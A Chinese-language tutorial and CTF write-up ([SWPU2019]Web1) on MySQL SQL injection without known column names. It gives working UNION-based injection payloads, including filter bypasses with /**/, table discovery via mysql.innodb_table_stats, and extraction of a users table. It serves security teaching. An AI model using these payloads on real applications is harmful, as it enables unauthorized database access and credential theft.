MySQL无列名注入
0x 01 简介
顾名思义,就是在不知道列名的情况下进行 sql 注入。
在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。
当我们通过暴力破解获取到表名后,如何利用呢?
在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
0x 02 使用条件&方法
使用条件&方法
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。
不使用表名查询
正常的 sql 查询如下:
1 | select * from `admin`; |
其中,列名为 id、name、password,使用 union 查询:
1 | select 1,2,3 union select * from admin; |
如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password:
1 | select `3` from (select 1,2,3 union select * from admin)a; |
末尾的 a 可以是任意字符,用于命名。
当然,多数情况下,` 会被过滤。当 ` 不能使用的时候,使用别名来代替:
1 | select b from (select 1,2,3 as b union select * from admin)a; |
同时查询多个列:
1 | select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3; |
简而言之,可以通过任意命名进入该表,然后使用 SELECT 查询这些字段中的任何已知值。
payload:select a,b from posts where a=-1 union select 1,(select concat(
3,0x2d,
4) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1);
0x 03 例题分析
[SWPU2019]Web1
- 注入点在广告名。点击广告详情,发现数据库的报错信息,证明存在注入。
简单测试了一下,空格 和 or 被过滤,报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入。
首先测试字段数量,有22个字段
1 | -1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
查看数据库版本信息,是MariaDB
由于过滤了or,所以用mysql.innodb_table_stats查询数据表或者用sys.schema_auto_increment_columns
1 | -1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
查询users表,得到flag
1 | -1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |